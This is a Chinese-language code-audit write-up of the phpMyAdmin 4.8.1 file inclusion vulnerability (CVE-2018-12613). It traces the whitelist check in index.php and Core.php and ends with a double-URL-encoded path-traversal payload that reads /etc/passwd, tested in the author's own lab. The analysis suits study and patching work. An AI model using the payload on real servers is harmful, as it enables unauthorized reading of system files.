代码审计_phpmyadmin4.8.1后台文件包含漏洞(CVE-2018-12613)


漏洞影响范围:phpmyadmin4.8.0 4.8.1
漏洞类型:后台任意文件包含
下载地址

漏洞出现在index.php页面中的55~63行

1
2
3
4
5
6
7
8
9
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

看这个段代码的逻辑:传入的target参数不为空;target是字符串类型;target不易index开头;target不在$target_blacklist中;checkPageValidity($_REQUEST[‘target’]返回true。

看一下$target_blacklist:

1
2
3
$target_blacklist = array (
    'import.php', 'export.php'
);

追踪一下checkPageValidity函数:在/libraries/classes/Core.php中找到,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static function checkPageValidity(&$page, array 
$whitelist = [])

    {
       if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
       if (! isset($page) || !is_string($page)) {
            return false;
        }
        if (in_array($page, $whitelist)) {
            return true;
        }
        $_page = mb_substr(
           $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        return false;
    }

看见这个函数需要两个参数,如果whitelist参数为空,会使用代码提供的白名单数组,追踪一下这个数组:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static $goto_whitelist = array(
        ' db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

看一下这段代码的逻辑:就是target参数问号前面的要在白名单里会返回true。
看一下这段代码:
1
2
3
4
5
6
7
8
9
10
11
   $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        return false;
    }

这段代码是将参数url解码一下,所以在浏览器中我们要双重url编码,因为在传入服务器之前会先进行一次url解码。
根据我们上面的分析很容易写出payload:
1
2

http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

我试了不url编码?的payload,但是没有成功。
最后直接通过这段payload获取到了我事先写好的一个flag.txt文件内容:

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×